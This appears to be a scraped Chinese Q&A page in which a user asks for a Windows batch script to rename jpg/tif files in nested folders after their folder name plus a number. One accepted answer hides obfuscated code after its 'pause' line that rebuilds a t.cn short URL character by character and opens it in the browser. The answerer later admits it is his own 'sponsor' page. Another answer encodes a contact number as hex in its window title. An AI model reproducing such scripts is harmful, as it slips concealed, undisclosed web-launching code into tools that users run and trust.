批处理:批量重命名文件

批量将所有子文件夹的文件重命名为序号,并在序号前加上文件所在目录的文件夹名称条件要求1.批处理放在父文件夹下2.执行范围:父文件夹下的所有子文件夹(子文件夹里有多层结构,有2层、3层、四层等等)3. 文件格式:jpg、tif 4.先将每层文件夹里的文件按序号重命名(3位数),然后在把每个文件的名称中加上文件其所在文件夹的名称(即:文件所在文件夹名称+序号),范例请见图! 5.文件夹的名称中可能包含空格、顿号、点、等符号求具体代码,谢谢!

批量文件需要重命名,一个一个修改太麻烦了,有什么简单快速的方法。

第一步,添加需要重命名的文件

第二步,选择重命名的内容,文件名,扩展名,全部

第三步,文件名的设置修改,前缀,位数的修改

第四步,设置完成后即可以点击开始重命名了

第五步,如图所示,表示修改成功

第六步,最后可以在原位置查看文件命名了

温馨提示:答案为网友推荐,仅供参考
第1个回答  2019-05-08

华为Mate50 Pro曲面旗舰手机

¥6799

苹果 AirPods Pro 2代

¥1699

索尼65英寸4K HDR专业游戏电视

¥7499

惠普战66五代15.6英寸轻薄本

¥4399

第2个回答  2018-09-19
@echo off & title 批量重命名文件 By 依梦琴瑶
cd /d %~dp0

for /d %%a in (*) do (
    pushd "%%~a"
    for /d %%b in (*) do (
        pushd "%%~b"
        for %%c in (*.jpg,*.tif) do (
            set "Name=%%~nc"
            rem 如果测试显示的修改前和修改后名字符合您的要求,请把下行代码中的echo删除。
            call echo ren "%%~c" "%%~b-%%Name:~-3%%%%~xc"
        )
        popd
    )
    popd
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

如果测试后,显示的修改前和修改后名字符合您的要求,请把代码中那个echo删除。
然后保存脚本重新运行。如有问题请追问。

追问

为什么我运行完后按回车键,它就是跳网页

追答

那个只是我的友情'赞.助'页面,如不喜欢,请直接删除pause后面的代码。

pause上面的代码才是主代码。只要执行正确就可以了。

来自:求助得到的回答本回答被提问者和网友采纳
第2个回答  2018-09-19
以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起双击运行
@echo off
rem 将多个子文件夹里指定扩展名文件以其上级文件夹/所在文件夹的名称和指定位数的递增数字序号重命名
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
set ext=*.jpg *.tif
for /r /d %%a in (*) do (
pushd "%%a"
set "n=100001"
set "folder=%%~nxa"&set "f="
for /f "delims=" %%b in ('dir /a-d-h/b %ext% 2^>nul') do (
ren "%%b" "#%%~nxb"&set /a f+=1
)
if defined f echo;"%%a"
for /f "delims=" %%b in ('dir /a-d-h/b %ext% 2^>nul') do (
set "file=%%b"
setlocal enabledelayedexpansion
set "newname=!folder!-!n:~-3!%%~xb"
echo;"!file:~1!" --^> "!newname!"
ren "!file!" "!newname!"
endlocal
set/an+=1
)
popd
)
echo;%#% +%$%%$%/%@% %z%
pause
exit
相似回答